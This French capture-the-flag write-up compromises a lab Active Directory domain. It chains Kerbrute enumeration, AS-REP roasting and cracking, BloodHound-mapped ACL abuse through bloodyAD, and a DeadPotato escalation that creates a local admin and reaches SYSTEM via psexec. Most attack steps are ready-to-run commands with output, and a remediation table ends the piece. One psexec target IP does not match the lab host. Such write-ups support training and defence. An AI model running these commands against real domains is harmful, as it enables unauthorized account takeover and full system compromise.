ZNote Logo
ZNote
Labs PentestmediumCreedCTF
05-08-2026
14 min

Lab Solarix : Kerbrute, AS-REP Roasting et Abus d'ACL BloodHound vers SYSTEM via Potato

Pentest black-box d'un domaine Active Directory d'une entreprise énergétique : durcissement SMB contourné via énumération d'utilisateurs Kerberos avec Kerbrute, AS-REP Roasting nécessitant une wordlist personnalisée et des règles hashcat, abus d'une chaîne d'ACL (WriteOwner/GenericAll/ForceChangePassword) cartographiée avec BloodHound et exploitée via bloodyAD, puis élévation locale à SYSTEM via SeImpersonatePrivilege et DeadPotato pour une compromission complète.

Active Directory
Kerbrute
AS-REP Roasting
BloodHound
Abus d'ACL
bloodyAD
SeImpersonatePrivilege
Potato
CreedCTF
Windows
Pentest

Contexte et Objectifs

ChampDétail
PlateformeCreedCTF
LienAccéder au lab
CibleSOL-DC-01.solarix.energy, 192.168.203.50
OSWindows Server 2025 (Build 26100)
Domainesolarix.energy
TypeBlack-box internal pentest, aucun credential
DifficultéMoyenne

Scénario : Solarix Energy centralise l'intégralité des habilitations critiques des infrastructures énergétiques mondiales pour l'horizon 2026. Le contrôleur de domaine est correctement durci contre les techniques d'énumération SMB classiques, ce qui impose de passer par Kerberos pour obtenir un premier pied à terre, puis d'exploiter une chaîne de délégation de droits (ACL) mal configurée pour progresser jusqu'à SYSTEM.

Kill chain :

Sortie
Accès réseau sans credentials
        │
        ▼
SMB verrouillé → Kerbrute userenum → bob, alice
        │
        ▼
AS-REP Roasting → alice vulnérable → wordlist custom + hashcat → Solarix@2026
        │
        ▼
SMB avec alice → Flag 1 + énumération utilisateurs
        │
        ▼
BloodHound → chaîne ACL : AddMember → WriteOwner → ForceChangePassword bob
        │
        ▼
bloodyAD → mot de passe de bob réinitialisé → Evil-WinRM → Flag 2
        │
        ▼
SeImpersonatePrivilege → DeadPotato → SYSTEM → Flag root

1. Reconnaissance

Commande
bash
rustscan -b 500 -a 192.168.203.50 -- -sC -sV -Pn

Output :

Sortie
PORT      STATE SERVICE               REASON          VERSION
53/tcp    open  domain                syn-ack ttl 126 Simple DNS Plus
88/tcp    open  kerberos-sec          syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-07-01 15:16:03Z)
135/tcp   open  msrpc                 syn-ack ttl 126 Microsoft Windows RPC
139/tcp   open  netbios-ssn           syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp   open  ldap                  syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: solarix.energy)
445/tcp   open  microsoft-ds?         syn-ack ttl 126
464/tcp   open  kpasswd5?             syn-ack ttl 126
593/tcp   open  ncacn_http            syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldapssl?          syn-ack ttl 126
| ssl-cert: Subject: commonName=SOL-DC-01.solarix.energy
3268/tcp  open  ldap                  syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: solarix.energy)
3389/tcp  open  ms-wbt-server         syn-ack ttl 126 Microsoft Terminal Services
5985/tcp  open  http                  syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf                syn-ack ttl 126 .NET Message Framing
[...]
Service Info: Host: SOL-DC-01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: 59m58s

Analyse :

Signature classique d'un contrôleur de domaine : DNS, Kerberos, LDAP, SMB, kpasswd, RPC over HTTP. Domaine solarix.energy, machine SOL-DC-01. Deux détails de la sortie Nmap vont directement conditionner la suite de l'attaque :

Message signing enabled and required : la signature SMB est obligatoire. Toute tentative de relais NTLM est d'emblée écartée.

clock-skew: 59m58s : un décalage d'horloge de près d'une heure entre le scanner et le DC. Kerberos tolère un écart par défaut de 5 minutes (MaxClockSkew) avant de rejeter les échanges ; ce décalage est donc largement hors tolérance et va se rappeler à nous plus tard lors d'une tentative de Kerberoasting.

Le port 3389 (RDP) et 5985 (WinRM) sont ouverts : deux vecteurs d'accès distant possibles une fois des credentials valides obtenus.


2. Énumération SMB

Connexion Anonyme et Invité

Commande
bash
nxc smb 192.168.203.50 -u "" -p "" --smb-timeout 30
Sortie
SMB  192.168.203.50  445  SOL-DC-01  [+] solarix.energy\:

La session anonyme s'ouvre. On teste ensuite le compte invité :

Commande
bash
nxc smb 192.168.203.50 -u "guest" -p "" --smb-timeout 30
Sortie
SMB  192.168.203.50  445  SOL-DC-01  [-] solarix.energy\guest: STATUS_LOGON_FAILURE

Contrairement à des labs plus permissifs, le compte guest est ici désactivé. Le point d'entrée classique "SMB guest → énumération large" est donc fermé.

Tentatives d'Énumération

Commande
bash
nxc smb 192.168.203.50 -u "" -p "" --smb-timeout 30 --shares
Sortie
SMB  192.168.203.50  445  SOL-DC-01  [-] Error enumerating shares: STATUS_ACCESS_DENIED
Commande
bash
nxc smb 192.168.203.50 -u "" -p "" --smb-timeout 30 --rid-brute 10000
Sortie
SMB  192.168.203.50  445  SOL-DC-01  [-] Error connecting: LSAD SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED
Commande
bash
nxc smb 192.168.203.50 -u "" -p "" --smb-timeout 30 --users
Sortie
SMB  192.168.203.50  445  SOL-DC-01  [+] solarix.energy\:

Trois échecs successifs : partages, RID brute force et énumération SAMR sont tous verrouillés pour la session null. Il faut changer d'approche : plutôt que de chercher des identités via SMB, on va interroger directement le service Kerberos, qui répond différemment à une requête AS-REQ selon que le username existe ou non, indépendamment de tout droit SMB.


3. Énumération des Utilisateurs via Kerbrute

Kerbrute exploite une différence de comportement du KDC lors d'une pré-authentification Kerberos (AS-REQ) : si le principal (username) n'existe pas, le KDC répond KDC_ERR_C_PRINCIPAL_UNKNOWN ; s'il existe, il répond soit KDC_ERR_PREAUTH_REQUIRED (cas normal), soit délivre directement un AS-REP (cas d'un compte sans pré-auth). Dans les deux derniers cas, le username est confirmé comme valide sans jamais avoir besoin d'un droit SMB, et sans déclencher de verrouillage de compte puisqu'aucun mot de passe n'est testé.

Commande
bash
kerbrute userenum --dc 192.168.203.50 -d solarix.energy /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
Sortie
2026/07/01 17:28:07 >  [+] VALID USERNAME:       bob@solarix.energy
2026/07/01 17:28:28 >  [+] VALID USERNAME:       alice@solarix.energy
2026/07/01 17:28:50 >  [+] VALID USERNAME:       Bob@solarix.energy
2026/07/01 17:28:54 >  [+] VALID USERNAME:       BOB@solarix.energy
2026/07/01 17:30:55 >  [+] VALID USERNAME:       Alice@solarix.energy
2026/07/01 17:39:04 >  [+] VALID USERNAME:       ALICE@solarix.energy

Kerbrute teste la wordlist telle quelle, sensible à la casse dans son affichage, mais Kerberos lui-même est insensible à la casse pour la résolution d'un principal. bob, Bob et BOB désignent donc le même compte : au final, on retient deux identités distinctes, bob et alice.

Sortie
users.txt
---------
bob
alice

4. AS-REP Roasting

Référence : Kerberos AS-REP Roasting - HackTricks

Exploitation

Commande
bash
impacket-GetNPUsers solarix.energy/ -usersfile users.txt -format hashcat -dc-ip 192.168.203.50
Sortie
[-] User bob doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$alice@SOLARIX.ENERGY:bdbb4e914cfd16ea3882fb8bd8e1861b$a41623fab43e0d15f92e7826eaf6f40bf...
[-] User Bob doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BOB doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$Alice@SOLARIX.ENERGY:3e2260e47d660edf256c97f1b64e8f29$e8913a564f69bfe1c67a3d728aa0bd4f...
$krb5asrep$23$ALICE@SOLARIX.ENERGY:b41c66c4d0f3746aaec59129869b8f62$e4ee3a228d68dff7cf2a4ba61897780e...

bob a la pré-authentification activée et n'est donc pas vulnérable. alice en revanche l'a désactivée : le KDC délivre trois AS-REP distincts, un par variante de casse testée par Kerbrute, mais qui correspondent tous au même compte et donc au même mot de passe.

Cassage : la Difficulté de ce Lab

Commande
bash
hashcat -m 18200 -a 0 hashes.txt password.txt -r OneRuleToRuleThemAll.rule

Contrairement à un cassage rockyou.txt classique, ce hash résiste à une wordlist standard. Le mot de passe ne s'y trouve pas tel quel. Il faut construire une wordlist personnalisée à partir du contexte du lab (nom de l'entreprise, thématique "horizon 2026" mentionnée dans le briefing) et appliquer une règle de mutation hashcat OneRuleToRuleThemAll.rule qui génère automatiquement des variantes typiques (majuscule initiale, substitutions leet, suffixes numériques/spéciaux) à partir de chaque mot de la liste de base.

Sortie
Le mot de passe qui ressort est : Solarix@2026

Le mot de passe suit un schéma <Nom de l'entreprise>@<Année> un pattern de mot de passe d'entreprise extrêmement commun.

Premier compte compromis :

Sortie
alice : Solarix@2026

5. Énumération Authentifiée et Premier Flag

Partages SMB

Commande
bash
nxc smb solarix.energy -u 'alice' -p 'Solarix@2026' --shares --smb-timeout 30
Sortie
SMB  192.168.203.50  445  SOL-DC-01  [+] solarix.energy\alice:Solarix@2026
SMB  192.168.203.50  445  SOL-DC-01  Share      Permissions   Remark
SMB  192.168.203.50  445  SOL-DC-01  ADMIN$                   Administration à distance
SMB  192.168.203.50  445  SOL-DC-01  C$                       Partage par défaut
SMB  192.168.203.50  445  SOL-DC-01  IPC$       READ          IPC distant
SMB  192.168.203.50  445  SOL-DC-01  NETLOGON   READ          Partage de serveur d'accès
SMB  192.168.203.50  445  SOL-DC-01  SYSVOL     READ          Partage de serveur d'accès

Seuls les partages par défaut sont présents. En explorant NETLOGON, un fichier MapDrives.bat contient le premier flag :

Flag 1 trouvé dans MapDrives.bat sur le partage NETLOGON

Liste des Utilisateurs

Commande
bash
nxc smb solarix.energy -u 'alice' -p 'Solarix@2026' --users --smb-timeout 30
Sortie
SMB  192.168.203.50  445  SOL-DC-01  -Username-      -Last PW Set-       -BadPW- -Description-
SMB  192.168.203.50  445  SOL-DC-01  Administrateur  2026-01-02 14:47:01 0       Compte d'utilisateur d'administration
SMB  192.168.203.50  445  SOL-DC-01  Invité          <never>             0       Compte d'utilisateur invité
SMB  192.168.203.50  445  SOL-DC-01  krbtgt          2026-01-02 12:45:53 0       Compte de service du centre de distribution de clés
SMB  192.168.203.50  445  SOL-DC-01  alice           2026-01-02 17:14:37 0       Junior Analyst - Grid Monitoring Section
SMB  192.168.203.50  445  SOL-DC-01  bob             2026-01-02 12:57:41 0       Logistics Coordinator - Infrastructure Support
SMB  192.168.203.50  445  SOL-DC-01  [*] Enumerated 5 local users: SOLARIX

Avec des credentials valides, cette énumération se débloque intégralement. Les descriptions confirment que seuls cinq comptes existent dans ce domaine alice (analyste junior de supervision réseau électrique) et bob (coordinateur logistique infrastructure) sont les deux seuls comptes "métier" sur lesquels pivoter.


6. Tentative de Kerberoasting

Commande
bash
impacket-GetUserSPNs -dc-ip 192.168.203.50 -request -outputfile kerberoastables.txt solarix.energy/alice:'Solarix@2026'
Sortie
ServicePrincipalName                  Name  MemberOf                                                               PasswordLastSet             LastLogon
------------------------------------  ----  ---------------------------------------------------------------------  --------------------------  --------------------------
STS/TurbineMonitoring.solarix.energy  bob   CN=Utilisateurs de gestion à distance,CN=Builtin,DC=solarix,DC=energy  2026-01-02 13:57:41.882627  2026-01-02 14:19:31.056556

[-] CCache file is not found. Skipping...
[-] SessionKeyDecryptionError: failed to decrypt session key: ciphertext integrity failure

Un SPN existe bien sur bob (STS/TurbineMonitoring.solarix.energy) un candidat idéal pour le Kerberoasting classique. Mais la demande explicite du ticket (-request) échoue avec une erreur de déchiffrement de la clé de session.

Cette piste est abandonnée et une approche différente est adoptée en cartographiant le domaine avec BloodHound.


7. Cartographie BloodHound

On collecte les données du domaine avec alice et on charge le résultat dans BloodHound. En sélectionnant "Shortest Path from Owned Objects", un chemin se dessine jusqu'à bob :

Chemin d'attaque BloodHound depuis alice jusqu'à bob

Le chemin en détail :

Sortie
alice
  │  (membre de)
  ▼
SLX-OPERATORS-GRID
  │  (AddMember)
  ▼
SLX-IDENTITY-AUDITORS
  │  (WriteOwner)
  ▼
SLX-TURBINE-TECHS
  │  (ForceChangePassword, une fois propriétaire)
  ▼
bob
  • alice est membre de SLX-OPERATORS-GRID, qui a AddMember sur SLX-IDENTITY-AUDITORS → elle s'y ajoute
  • SLX-IDENTITY-AUDITORS a WriteOwner sur SLX-TURBINE-TECHS → elle s'en désigne propriétaire
  • Propriétaire = WriteDacl(permission de modifier les droits) implicite → elle s'accorde GenericAll(contrôle total) puis s'ajoute comme membre
  • SLX-TURBINE-TECHS a ForceChangePassword sur bob → reset du mot de passe sans connaître l'ancien

Chaque maillon accorde un droit qui débloque le suivant : escalade classique par abus d'ACL.


8. Exploitation de la Chaîne d'ACL avec bloodyAD

bloodyAD est utilisé pour exécuter chaque étape de la chaîne identifiée par BloodHound.

Étape 1 : Rejoindre SLX-IDENTITY-AUDITORS

Commande
bash
bloodyad -d solarix.energy -u alice -p 'Solarix@2026' --host 192.168.203.50 add groupMember SLX-IDENTITY-AUDITORS alice
Sortie
[+] alice added to SLX-IDENTITY-AUDITORS

Le droit AddMember dont hérite alice via SLX-OPERATORS-GRID permet cet ajout direct.

Étape 2 : Devenir Propriétaire de SLX-TURBINE-TECHS

Commande
bash
bloodyad -d solarix.energy -u alice -p 'Solarix@2026' --host 192.168.203.50 set owner SLX-TURBINE-TECHS alice
Sortie
[+] Old owner S-1-5-21-79240471-571113036-2636825038-512 is now replaced by alice on SLX-TURBINE-TECHS

Grâce au droit WriteOwner acquis à l'étape précédente, alice remplace directement le propriétaire actuel du groupe cible.

Étape 3 : S'Octroyer le Contrôle Total puis Rejoindre le Groupe

En tant que propriétaire, alice a le droit implicite de modifier la DACL de SLX-TURBINE-TECHS. On s'accorde d'abord un contrôle total :

Commande
bash
bloodyad -d solarix.energy -u alice -p 'Solarix@2026' --host 192.168.203.50 add genericAll SLX-TURBINE-TECHS alice
Sortie
[+] alice has now GenericAll on SLX-TURBINE-TECHS

Puis on s'ajoute comme membre du groupe :

Commande
bash
bloodyad -d solarix.energy -u alice -p 'Solarix@2026' --host 192.168.203.50 add groupMember SLX-TURBINE-TECHS alice
Sortie
[+] alice added to SLX-TURBINE-TECHS

Étape 4 : Réinitialiser le Mot de Passe de Bob

SLX-TURBINE-TECHS dispose du droit ForceChangePassword sur bob. alice, désormais membre de ce groupe, en hérite :

Commande
bash
bloodyad -d solarix.energy -u alice -p 'Solarix@2026' --host 192.168.203.50 set password bob 'Pass123!'
Sortie
[+] Password changed successfully!

Validation

Commande
bash
nxc smb solarix.energy -u 'bob' -p 'Pass123!' --shares --smb-timeout 30
Sortie
SMB  192.168.203.50  445  SOL-DC-01  [+] solarix.energy\bob:Pass123!
SMB  192.168.203.50  445  SOL-DC-01  Share      Permissions   Remark
SMB  192.168.203.50  445  SOL-DC-01  ADMIN$                   Administration à distance
SMB  192.168.203.50  445  SOL-DC-01  C$                       Partage par défaut
SMB  192.168.203.50  445  SOL-DC-01  NETLOGON   READ          Partage de serveur d'accès
SMB  192.168.203.50  445  SOL-DC-01  SYSVOL     READ          Partage de serveur d'accès

Le nouveau mot de passe fonctionne. bob s'avère membre des groupes Gestion à distance et Bureau à distance :

Groupes de bob : Gestion à distance et Bureau à distance

Deuxième compte compromis :

Sortie
bob : Pass123!

9. Accès WinRM en tant que Bob et Deuxième Flag

Commande
bash
evil-winrm -u bob -i 192.168.203.50 -p Pass123!
Sortie
*Evil-WinRM* PS C:\Users\bob\Documents> whoami
solarix\bob
Commande
bash
ls C:\Users\bob\Desktop
type C:\Users\bob\Desktop\flag2.txt
Sortie
FLAG2{a7848325b91236bc00d9202a0fd25cf1}

10. Élévation de Privilèges : SeImpersonatePrivilege

En vérifiant les privilèges attribués au token de bob, le privilège SeImpersonatePrivilege ressort :

SeImpersonatePrivilege présent dans les privilèges de bob

Exploitation avec DeadPotato

Commande
bash
wget https://github.com/lypd0/DeadPotato/releases/download/v1.2/DeadPotato-NET4.exe -O DeadPotato.exe

Après upload sur la machine cible et exécution, la bascule vers un contexte SYSTEM est confirmée :

Exécution de DeadPotato confirmant un contexte SYSTEM

Plusieurs tentatives de rebond direct (reverse shell, accès direct au profil Administrateur) échouent. L'approche retenue est de créer un compte local avec des droits d'administration, en s'appuyant sur le contexte SYSTEM obtenu via DeadPotato pour effectuer cette opération :

Sortie
Création de l'utilisateur local : attacker / Pass123!
Ajout au groupe Administrateurs local via DeadPotato (contexte SYSTEM)

Création et élévation de l'utilisateur attacker via DeadPotato


11. Confirmation SYSTEM et Flag Root

Avec attacker désormais membre du groupe Administrateurs local, on établit une session SYSTEM complète via PsExec :

Commande
bash
impacket-psexec './attacker:Pass123!@192.168.202.12'

Le préfixe ./ indique explicitement à Impacket qu'il s'agit d'un compte local à la machine et non d'un compte de domaine, une distinction nécessaire puisque attacker n'existe que dans la base SAM locale de SOL-DC-01, pas dans l'annuaire Active Directory.

Session PsExec établie en tant que NT AUTHORITY\SYSTEM

Sortie
NT AUTHORITY\SYSTEM

Avec un accès SYSTEM complet, le flag root est récupéré :

Flag root récupéré

Compromission totale de la machine.


12. Conclusion et Remédiation

Kill Chain Complète

Sortie
1. RustScan             → SOL-DC-01.solarix.energy, DC durci, signing SMB requis
2. SMB null/guest        → énumération classique bloquée (guest désactivé, RID brute refusé)
3. Kerbrute               → énumération via Kerberos → bob, alice
4. AS-REP Roasting        → alice sans pré-auth → wordlist custom + rule → Solarix@2026
5. SMB authentifié        → Flag 1 (NETLOGON\MapDrives.bat)
6. Kerberoasting           → échoue (décalage d'horloge ~1h)
7. BloodHound              → chemin ACL alice → bob (WriteOwner/GenericAll/ForceChangePassword)
8. bloodyAD (4 étapes)     → mot de passe de bob réinitialisé
9. Evil-WinRM (bob)        → Flag 2
10. SeImpersonatePrivilege → DeadPotato → SYSTEM
11. Compte local attacker  → ajouté aux Administrateurs via SYSTEM
12. impacket-psexec        → NT AUTHORITY\SYSTEM → Flag root

Remédiation

VecteurProblèmeRemédiation
Énumération d'utilisateurs via KerberosLe KDC distingue un principal inconnu d'un principal valide, permettant l'énumération sans SMBSurveiller les volumes anormaux de requêtes AS-REQ échouées (KDC_ERR_C_PRINCIPAL_UNKNOWN) via l'audit avancé Kerberos, indicateur d'un balayage d'usernames
AS-REP Roasting sur aliceLa pré-authentification Kerberos est désactivée sur un compte utilisateur standardActiver la pré-authentification pour tous les comptes ; auditer avec Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
Mot de passe prévisible (Solarix@2026)Schéma <Entreprise>@<Année>, facilement devinable ou générable en wordlist cibléeBannir les mots de passe basés sur le nom de l'entreprise ou l'année en cours via une politique de mots de passe personnalisée (Azure AD Password Protection ou équivalent)
Credentials/flag exposés dans NETLOGONUn script MapDrives.bat accessible en lecture par tout utilisateur authentifié expose des données sensiblesRestreindre les scripts de logon aux seules données strictement nécessaires ; ne jamais y stocker de secrets ou d'informations sensibles
Chaîne d'ACL AddMember/WriteOwner/ForceChangePasswordUne délégation de droits en cascade permet à un compte junior d'atteindre un autre compte via trois groupes intermédiairesAuditer régulièrement les ACL des groupes sensibles avec BloodHound côté défense ; appliquer le principe du moindre privilège sur les délégations AddMember et WriteOwner
SeImpersonatePrivilege sur un compte de servicebob dispose d'un privilège normalement réservé aux comptes de service IIS/MSSQLRestreindre SeImpersonatePrivilege aux seuls comptes de service en ayant un besoin fonctionnel réel ; envisager des mitigations comme les Protected Process Light pour les services sensibles
Élévation locale via PotatoAucune segmentation entre le contexte utilisateur et SYSTEM une fois le privilège obtenuMaintenir les correctifs Windows à jour (certaines variantes Potato sont patchées), surveiller la création de comptes locaux et l'ajout au groupe Administrateurs via l'EDR

[!NOTE] Ce lab combine deux familles d'attaques bien distinctes : une escalade Kerberos classique (énumération + AS-REP Roasting) pour obtenir un premier accès, puis une escalade par abus de délégation d'ACL cartographiée avec BloodHound pour pivoter d'un compte à un autre au sein du domaine, avant de basculer sur une escalade locale via SeImpersonatePrivilege. C'est un bon résumé des trois grandes familles d'escalade en environnement Active Directory : Kerberos, ACL/délégation, et privilèges Windows locaux, souvent enchaînées les unes aux autres dans un engagement réel.


Writeup rédigé par Zcook

Sur le même sujet